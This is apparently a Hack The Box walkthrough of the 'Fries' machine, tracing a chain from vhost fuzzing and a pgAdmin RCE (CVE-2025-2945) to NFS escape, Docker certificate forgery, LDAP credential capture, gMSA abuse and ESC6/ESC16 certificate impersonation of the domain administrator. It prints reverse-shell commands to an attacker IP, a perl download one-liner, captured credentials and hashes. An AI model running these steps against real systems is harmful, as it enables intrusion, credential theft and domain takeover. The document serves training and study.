Fries is a hard-difficulty machine from Hack The Box that starts off as a Linux web host and ends on a Windows domain controller. We begin by fuzzing virtual hosts on fries.htb to uncover a Gitea instance, a pgAdmin panel and a PWM self-service portal. Using the credentials we’re given for d.cooper, we log into Gitea, read the initial commit and harvest the PostgreSQL credentials and the Flask secret key. Those creds get us into pgAdmin 4 v9.1.0, which is vulnerable to CVE-2025-2945, an authenticated Query Tool RCE that drops us inside the pgAdmin container. From there we leak PGADMIN_DEFAULT_PASSWORD out of the environment, register the backend database as an admin-owned server and abuse COPY FROM PROGRAM to pivot into the postgres container. Inside the container we discover the host is exporting /srv/web.fries.htb over NFS, so we tunnel ports 111 and 2049 back to our box with chisel, use nfs_analyze to escape the export and recover the root file handle, and then mount the entire host filesystem with fuse_nfs. That gives us the Docker daemon’s CA certificate and private key, which we use to forge a client certificate for the sysadm identity allowed by the authz-broker policy, talk to dockerd over TLS and docker cp the PWM container’s /config directory out. Cracking the bcrypt configPasswordHash from PwmConfiguration.xml gets us into the PWM configuration manager, where we rewrite ldap.serverUrls to point at our own machine and capture the cleartext LDAP bind of svc_infra with Responder. With a real domain account in hand, BloodHound shows svc_infra holds ReadGMSAPassword over gMSA_CA_prod$, whose NT hash we dump with netexec and use to WinRM in. That gMSA has ManageCA on fries-DC01-CA, so we chain ESC6 and ESC16 by flipping EDITF_ATTRIBUTESUBJECTALTNAME2 and adding szOID_NTDS_CA_SECURITY_EXT to the DisableExtensionList, then enroll a certificate as svc_infra with an arbitrary UPN and SID for the domain administrator, authenticate with it and pass the hash to own the DC.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA) |_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519) 53/tcp open domain Simple DNS Plus 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://fries.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-25 12:05:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES | Not valid before: 2025-11-18T05:39:19 |_Not valid after: 2105-11-18T05:39:19 |_ssl-date: 2025-11-25T12:06:43+00:00; +6h59m34s from scanner time. 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 | ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP | Not valid before: 2025-06-01T22:06:09 |_Not valid after: 2026-06-01T22:06:09 |_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1). 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-11-25T12:06:42+00:00; +6h59m33s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES | Not valid before: 2025-11-18T05:39:19 |_Not valid after: 2105-11-18T05:39:19 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES | Not valid before: 2025-11-18T05:39:19 |_Not valid after: 2105-11-18T05:39:19 |_ssl-date: 2025-11-25T12:06:43+00:00; +6h59m34s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-11-25T12:06:42+00:00; +6h59m34s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES | Not valid before: 2025-11-18T05:39:19 |_Not valid after: 2105-11-18T05:39:19 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (91%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 Aggressive OS guesses: Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.13 (85%), Linux 3.10 - 4.11 (85%), Linux 3.2 - 4.14 (85%), Linux 4.15 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 6h59m33s, deviation: 0s, median: 6h59m33s | smb2-time: | date: 2025-11-25T12:06:00 |_ start_date: N/A TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 286.38 ms 10.10.16.1 2 520.38 ms 10.129.70.58
The scan is already telling us the whole story of the box. Nmap fingerprints the OS as Linux and we have OpenSSH plus nginx on 80 and 443, yet at the same time we’re looking at Kerberos on 88, LDAP on 389/636/3268/3269, SMB on 445 and WinRM on 5985 with Service Info: Host: DC01. In other words this single IP is fronting both a Linux web host and a Windows domain controller behind it, which means our foothold is going to be on the Linux side and our endgame is going to be Active Directory. The TLS certificate on 443 also leaks a hostname for us straight away, commonName=pwm.fries.htb, so we already know there is more than one vhost living on this nginx. Let’s add fries.htb to our /etc/hosts and go looking for the rest of them.
Virtual Host Enumeration
Since nginx redirects us to http://fries.htb/, name-based virtual hosting is in play and there are almost certainly more applications hiding behind Host headers. Let’s fuzz for them with ffuf, filtering out the 302 that the default vhost returns:
Once logged in we can browse the repositories. The README of the web application project spells out the infrastructure layout for us:
1 2 3 4 5
### đź› Configuration
- Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db` - The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale) - Make sure the appropriate credentials and network routing are in place.
That hands us a second vhost, http://db-mgmt05.fries.htb, which redirects to http://db-mgmt05.fries.htb/login?next=/ and is a pgAdmin 4 install. The same d.cooper credentials get us in there as well.
The really valuable part of Gitea though is the git history. Developers commit .env files and then delete them in a later commit, but the blob is still in the repository. Looking at the initial commit be59cceb54b56f00778822395bdf656216ab4b9f we recover the database credentials and the Flask secret key:
So we now know the backend PostgreSQL server is at 172.18.0.3:5432 with database ps_db and credentials root:PsqLR00tpaSS11. That 172.18.0.x addressing is the default Docker bridge network range, which is another hint that everything here is containerised.
pgAdmin Query Tool RCE (CVE-2025-2945)
pgAdmin has had a rough couple of years with RCE bugs, so let’s see what Metasploit has available for it:
Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/http/pgadmin_session_deserialization
msf >
CVE-2025-2945 is the interesting one here. The Query Tool passes user-supplied input into a Python eval() when validating binary paths and query data, so an authenticated user who can reach the SQL editor gets straight code execution as the pgAdmin process. We have both halves of what the module wants: valid pgAdmin web credentials for d.cooper, and valid PostgreSQL credentials for root on ps_db from the Gitea commit, so the module can spin up a working sqleditor session to trigger the bug through.
msf > use exploit/multi/http/pgadmin_query_tool_authenticated [*] Using configured payload python/meterpreter/reverse_tcp msf exploit(multi/http/pgadmin_query_tool_authenticated) > set RHOSTS db-mgmt05.fries.htb RHOSTS => db-mgmt05.fries.htb msf exploit(multi/http/pgadmin_query_tool_authenticated) > set USERNAME [email protected] USERNAME => [email protected] msf exploit(multi/http/pgadmin_query_tool_authenticated) > set PASSWORD D4LE11maan!! PASSWORD => D4LE11maan!! msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_USER root DB_USER => root msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_PASS PsqLR00tpaSS11 DB_PASS => PsqLR00tpaSS11 msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_NAME ps_db DB_NAME => ps_db msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LHOST 10.10.16.10 LHOST => 10.10.16.10 msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LPORT 9001 LPORT => 9001 msf exploit(multi/http/pgadmin_query_tool_authenticated) > exploit [*] Started reverse TCP handler on 10.10.16.10:9001 [*] Running automatic check ("set AutoCheck false" to disable)
Firing it off confirms the version is affected and lands us a meterpreter session:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
msf exploit(multi/http/pgadmin_query_tool_authenticated) > exploit [*] Started reverse TCP handler on 10.10.16.10:9001 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected [+] Successfully authenticated to pgAdmin [+] Successfully initialized sqleditor [*] Exploiting the target... [*] Sending stage (23408 bytes) to 10.129.70.58 [+] Received a 500 response from the exploit attempt, this is expected [*] Meterpreter session 1 opened (10.10.16.10:9001 -> 10.129.70.58:49870) at 2025-11-25 00:54:13 -0500
meterpreter > getuid Server username: pgadmin meterpreter >
We are the pgadmin user inside the pgAdmin container.
Leaking pgAdmin Admin Credentials
The official dpage/pgadmin4 image is configured entirely through environment variables, including the bootstrap admin account, so the first thing worth doing in any container shell is dumping the environment:
And there it is, PGADMIN_DEFAULT_EMAIL and PGADMIN_DEFAULT_PASSWORD give us the pgAdmin administrator: [email protected]:Friesf00Ds2025!!.
Pivoting to the PostgreSQL Container
Being the pgAdmin admin lets us register the backend database as a server we fully control, so let’s create a new server connection with the credentials we pulled out of the Gitea commit:
1 2 3 4 5 6 7 8 9 10 11
Host : `172.18.0.3`
Port : `5432`
Database : `ps_db`
Username : `root`
Password : PsqLR00tpaSS11
We’re connecting as the PostgreSQL superuser, which means COPY ... FROM PROGRAM is available to us. That statement runs an arbitrary shell command as the operating system account that owns the postgres process and pipes its output into a table, and it’s the classic way to turn superuser SQL access into command execution. Running this in the query tool gives us a shell:
1 2 3 4 5
DROPTABLE IF EXISTS pwn;
CREATETABLE pwn(output text);
COPY pwn FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.10/9002 0>&1"';
1 2 3 4 5 6 7 8 9 10 11
$ rlwrap nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.16.10] from (UNKNOWN) [10.129.70.58] 49802 bash: cannot set terminal process group (685): Inappropriate ioctl for device bash: no job control in this shell postgres@858fdf51af59:~/data$ whoami whoami postgres postgres@858fdf51af59:~/data$
We’ve hopped from the pgAdmin container into the postgres container as the postgres user.
Discovering the NFS Export
From inside the postgres container, the Docker host itself sits at the gateway address 172.18.0.1. Probing it reveals that the host is running an NFS server, so let’s grab a static NFS client to poke at it. nfsclient is perfect for this since it’s a single Go binary.
The container is quite bare, but it does ship perl, so we can pull the binary down in-band without needing curl or wget:
1 2
postgres@858fdf51af59:/tmp$ perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new("10.10.16.10:8081");print $s "GET /nfsclient-linux-amd64 HTTP/1.0\r\n\r\n";while(<$s>){last if/^\r?\n$/}open F,">nfsclient";binmode F;print F while<$s>;close F'
Now we can enumerate the export. Notice that nfsclient lets us simply claim to be root:0:0, because NFS with sec=sys authentication trusts whatever UID and GID the client sends:
There’s a certs directory in there, which is very promising. The proper tooling for attacking NFS lives on our Kali box though, so let’s tunnel the NFS ports back to ourselves with a chisel reverse tunnel:
nfs_analyze does something clever. An NFSv4 file handle for a Linux server encodes the filesystem identifier and the inode number of the exported directory. Since the server only checks that the handle is well-formed and not that the resulting path is actually inside the export, we can craft a handle pointing at the filesystem root inode and read anything on the volume. The tool automates that guessing for us:
Trying to guess server OS OS Property Fulfilled Linux File Handles start with 0x0100 Yes Windows NFSv3 File handles are 32 bytes long No Windows Only NFS versions 3 and 4.1 supported No FreeBSD Mountd reports subnets without mask Unknown NetApp netapp partner protocol supported No HP-UX Only one request per TCP connection possible No
Final OS guess: Linux
Checking host /srv/web.fries.htb Server does not support Portmap, skipping NFSv3 checks
No NFS server detected
Trying to guess server OS OS Property Fulfilled Linux File Handles start with 0x0100 Unknown Windows NFSv3 File handles are 32 bytes long Unknown Windows Only NFS versions 3 and 4.1 supported Unknown FreeBSD Mountd reports subnets without mask Unknown NetApp netapp partner protocol supported Unknown HP-UX Only one request per TCP connection possible Unknown
Final OS guess: Unknown
The escape works and we get the root file handle 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000, along with a free dump of /etc/shadow. We can feed that handle straight to fuse_nfs with --manual-fh to mount the entire host filesystem:
One important gotcha here, mounting as our unprivileged Kali user won’t let us read the root-owned files we care about. We need to run the whole thing as root and use --fake-uid so that the client presents UID 0 to the server:
Trying to guess server OS OS Property Fulfilled Linux File Handles start with 0x0100 Yes Windows NFSv3 File handles are 32 bytes long No Windows Only NFS versions 3 and 4.1 supported No FreeBSD Mountd reports subnets without mask Unknown NetApp netapp partner protocol supported No HP-UX Only one request per TCP connection possible No
┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb] └─# tree . ├── certs ├── shared └── webroot ├── app │  ├── __init__.py │  ├── models.py │  ├── __pycache__ │  │  ├── __init__.cpython-310.pyc │  │  ├── __init__.cpython-311.pyc │  │  ├── __init__.rustpython-01.pyc │  │  ├── models.cpython-310.pyc │  │  ├── models.cpython-311.pyc │  │  ├── routes.cpython-310.pyc │  │  └── routes.cpython-311.pyc │  ├── routes.py │  ├── static │  │  ├── css │  │  │  └── style.css │  │  └── js │  │  └── main.js │  └── templates │  ├── about.html │  ├── base.html │  ├── home.html │  └── menu.html ├── docker-compose.yml ├── Dockerfile ├── docs │  └── images │  ├── docker-build.png │  └── docker-ps.png ├── README.md ├── requirements.txt └── run.py
12 directories, 23 files
Let’s pull out everything that looks useful, the certificates in particular:
This is the crux of the box. dockerd listens on 127.0.0.1:2376 with --tlsverify and an authz-broker plugin, and the broker decides what you’re allowed to do based on the Common Name of your client certificate. The svc identity only gets container_list and container_logs, but sysadm gets the whole container action set in readonly mode, which crucially includes container_archive, the API call behind docker cp.
Since we stole ca-key.pem off the NFS share, we can just sign our own client certificate with CN=sysadm and become that identity:
The daemon only listens on localhost, so we need to use the certificate from the box itself. We can SSH in as svc (whose password we recovered by cracking the shadow hash from the NFS dump) and upload our forged material:
┌──(root㉿kali)-[/tmp/fries_certs/certs] └─# scp ca.pem [email protected]:/home/svc The authenticity of host '10.129.70.58 (10.129.70.58)' can't be established. ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.70.58' (ED25519) to the list of known hosts. [email protected]'s password: ca.pem 100% 1111 1.6KB/s 00:00 ┌──(root㉿kali)-[/tmp/fries_certs/certs] └─# scp ca-key.pem [email protected]:/home/svc [email protected]'s password: ca-key.pem 100% 1708 3.8KB/s 00:00 ┌──(root㉿kali)-[/tmp/fries_certs/certs] └─# scp sysadm.key [email protected]:/home/svc [email protected]'s password: sysadm.key 100% 3272 6.0KB/s 00:00 ┌──(root㉿kali)-[/tmp/fries_certs/certs] └─# scp sysadm.crt [email protected]:/home/svc [email protected]'s password: sysadm.crt 100% 1432 2.8KB/s 00:00
The svc user has no access to the Unix socket, but pointing the client at the TLS endpoint with our forged certificate works perfectly:
1 2 3 4 5 6 7 8 9 10
svc@web:~$ docker ps permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied svc@web:~$ docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm.crt --tlskey=sysadm.key -H tcp://127.0.0.1:2376 ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f427ecaa3bdd pwm/pwm-webapp:latest "/app/startup.sh" 5 months ago Up 7 hours 0.0.0.0:8443->8443/tcp, [::]:8443->8443/tcp pwm cb46692a4590 dpage/pgadmin4:9.1.0 "/entrypoint.sh" 6 months ago Up 7 hours 443/tcp, 127.0.0.1:5050->80/tcp pgadmin4 bfe752a26695 fries-web "/usr/local/bin/pyth…" 6 months ago Up 7 hours 127.0.0.1:5000->5000/tcp web 858fdf51af59 postgres:16 "docker-entrypoint.s…" 6 months ago Up 7 hours 5432/tcp postgres b916aad508e2 gitea/gitea:1.22.6 "/usr/bin/entrypoint…" 6 months ago Up 7 hours 127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
Now we can see the full container inventory, including the pwm container we haven’t touched yet.
Stealing the PWM Configuration
Checking the official PWM image documentation tells us where its configuration lives:
configPasswordHash is the password that protects PWM’s configuration manager, and it’s a bcrypt hash with a cost factor of only 4, which cracks instantly:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[/tmp] └─$ echo'$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' > hash ┌──(kali㉿kali)-[/tmp] └─$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status rockon! (?) 1g 0:00:00:02 DONE (2025-11-25 03:39) 0.4149g/s 9231p/s 9231c/s 9231C/s tanesha..prakash Use the "--show" option to display all of the cracked passwords reliably Session completed.
The configuration file also tells us which account PWM binds to LDAP with:
Here’s the trick. PWM stores the LDAP bind password in its configuration, and it will happily send that password to whatever LDAP server we tell it to talk to. If we change the URL from ldaps:// on 636 to plain ldap:// on 389 pointing at our machine, the bind happens in cleartext straight into our listener:
1 2 3 4 5 6
<settingkey="ldap.serverUrls">
<value>ldap://10.10.16.10:389</value>
</setting>
We upload the modified file and then browse to https://pwm.fries.htb to make the application attempt its LDAP connection, while Responder’s rogue LDAP server catches the bind:
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [ON]
[+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.16.10] Responder IPv6 [dead:beef:4::1008] Challenge set [random] Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] Don't Respond To MDNS TLD ['_DOSVC'] TTL for poisoned response [default]
[+] Current Session Variables: Responder Machine Name [WIN-I1CD7RSGWQQ] Responder Domain Name [741A.LOCAL] Responder DCE-RPC Port [49422]
[+] Listening for events...
[LDAP] Cleartext Client : 10.129.70.58 [LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb [LDAP] Cleartext Password : m6tneOMAh5p0wQ0d [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb [*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
And there we go, svc_infra:m6tneOMAh5p0wQ0d in cleartext. That’s our first real Active Directory account and it means we’re finally done with the Linux side of the box.
Domain Enumeration and gMSA Abuse
Let’s collect BloodHound data with our new domain credentials:
$ bloodhound-python -c All -u svc_infra -p 'm6tneOMAh5p0wQ0d' -d fries.htb -ns 10.129.70.58 --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: fries.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.fries.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.fries.htb INFO: Testing resolved hostname connectivity dead:beef::4c6:acb3:d1b5:83c2 INFO: Trying LDAP connection to dead:beef::4c6:acb3:d1b5:83c2 INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.fries.htb INFO: Testing resolved hostname connectivity dead:beef::4c6:acb3:d1b5:83c2 INFO: Trying LDAP connection to dead:beef::4c6:acb3:d1b5:83c2 INFO: Found 19 users INFO: Found 54 groups INFO: Found 2 gpos INFO: Found 2 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: web INFO: Querying computer: DC01.fries.htb WARNING: Could not resolve: web: The resolution lifetime expired after 3.103 seconds: Server Do53:10.129.70.58@53 answered The DNS operation timed out. INFO: Done in 00M 56S INFO: Compressing output into 20251125042609_bloodhound.zip
The graph shows svc_infra holding ReadGMSAPassword over the gMSA_CA_prod$ group managed service account. Group Managed Service Accounts store their password blob in the msDS-ManagedPassword LDAP attribute, readable only by the principals listed in PrincipalsAllowedToReadPassword, and netexec will parse that blob into an NT hash for us:
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> .\Certify.exe cas
_____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate authorities [*] Using the search base 'CN=Configuration,DC=fries,DC=htb' [*] Root CAs Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662 Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9 Cert Start Date : 11/17/2025 9:39:18 PM Cert End Date : 5/19/3024 7:11:46 AM Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb Cert Thumbprint : 6BCC33E7CE74DC371715DAA806E9D7E73E606A46 Cert Serial : 2E2DC1942D60559F460B0F47814FE48E Cert Start Date : 5/19/2025 7:00:46 AM Cert End Date : 5/19/3024 7:10:46 AM Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb [*] NTAuthCertificates - Certificates that enable authentication: Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662 Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9 Cert Start Date : 11/17/2025 9:39:18 PM Cert End Date : 5/19/3024 7:11:46 AM Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb Cert Thumbprint : 6BCC33E7CE74DC371715DAA806E9D7E73E606A46 Cert Serial : 2E2DC1942D60559F460B0F47814FE48E Cert Start Date : 5/19/2025 7:00:46 AM Cert End Date : 5/19/3024 7:10:46 AM Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb [*] Enterprise/Enrollment CAs: Enterprise CA Name : fries-DC01-CA DNS Hostname : DC01.fries.htb FullName : DC01.fries.htb\fries-DC01-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=fries-DC01-CA, DC=fries, DC=htb Cert Thumbprint : 0FDE266E3D674B5B37542D3E38699FFE2C93A662 Cert Serial : 26117C1FFA5705AF443B7E82E8C639A9 Cert Start Date : 11/17/2025 9:39:18 PM Cert End Date : 5/19/3024 7:11:46 AM Cert Chain : CN=fries-DC01-CA,DC=fries,DC=htb UserSpecifiedSAN : Disabled CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Deny ManageCertificates FRIES\Domain Users S-1-5-21-858338346-3861030516-3975240472-513 [!] Low-privileged principal has ManageCertificates rights! Deny ManageCertificates FRIES\Domain Computers S-1-5-21-858338346-3861030516-3975240472-515 [!] Low-privileged principal has ManageCertificates rights! Deny ManageCertificates FRIES\gMSA_CA_prod$ S-1-5-21-858338346-3861030516-3975240472-1104 Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates FRIES\Domain Admins S-1-5-21-858338346-3861030516-3975240472-512 Allow Enroll FRIES\Domain Users S-1-5-21-858338346-3861030516-3975240472-513 Allow Enroll FRIES\Domain Computers S-1-5-21-858338346-3861030516-3975240472-515 Allow ManageCA, ManageCertificates FRIES\Enterprise Admins S-1-5-21-858338346-3861030516-3975240472-519 Allow ManageCA, Enroll FRIES\gMSA_CA_prod$ S-1-5-21-858338346-3861030516-3975240472-1104 Enrollment Agent Restrictions : None Enabled Certificate Templates: DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator Certify completed in 00:00:34.6729284
Summarising what matters here:
1 2 3 4 5
- `gMSA_CA_prod$` has ManageCA and Enroll rights
- The account can manage the CA but does not have enrollment rights on most templates
- Accessible templates: Machine (for Domain Computers), User (forDomain Users)
UserSpecifiedSAN is currently Disabled, which normally blocks the classic ESC6 attack. But we hold ManageCA, and ManageCA is precisely the right to change that setting.
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
The principle behind ESC6 is that when the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on the CA policy module, any certificate request may specify an arbitrary Subject Alternative Name, regardless of what the template allows. That turns every enrollable template into an impersonation primitive.
We can flip the flag through the CertificateAuthority.Admin COM object:
ESC6 alone isn’t enough on a patched CA. Since the certificate strong-mapping hardening, the CA embeds szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) into issued certificates carrying the requester’s real SID, and the KDC checks that the SID matches the account the certificate claims to be. Our forged SAN would be rejected at authentication time.
ESC16 is the answer to that. Adding the OID to DisableExtensionList tells the CA to stop embedding and validating that extension entirely:
ESC16 prevents SID validation in the certificate, allowing identity impersonation Combined, they allow requesting a certificate for any user
Requesting the Administrator Certificate
There’s one more wrinkle. The gMSA_CA_prod$ account can configure the CA but can’t actually enroll on anything useful:
Can configure the CA (ManageCA)
Cannot enroll on the User template (is not in Domain Users)
Could enroll on Machine (is in Domain Computers) but requires SYSTEM rights
The solution is to split the roles. We use gMSA_CA_prod$ to weaken the CA, then use svc_infra to actually request the certificate, since it is a normal user:
Is a normal user (probably in Domain Users) Can enroll on the User template Can request a certificate with alternative UPN thanks to ESC6
Kerberos is sensitive to clock skew and the nmap scan already warned us about a seven hour difference, so let’s sync our time to the DC first:
1
sudo ntpdate 10.129.70.58
Now we request a certificate on the User template as svc_infra, but supply the administrator’s UPN and SID:
[*] Requesting certificate via RPC [*] Request ID is 41 [*] Successfully requested certificate [*] Got certificate with UPN '[email protected]' [*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500' [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
$ sudo ntpdate 10.129.70.58;certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.70.58 2025-11-25 11:48:05.306302 (-0500) +25174.475851 +/- 0.113111 10.129.70.58 s1 no-leap CLOCK: time stepped by 25174.475851 Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] SAN UPN: '[email protected]' [*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500' [*] Using principal: '[email protected]' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
The certificate authenticates, we get a TGT as the domain administrator and Certipy uses U2U to pull the NT hash out for us.
User and Root Flags
Pass the hash into WinRM and both flags are sitting on the administrator’s desktop:
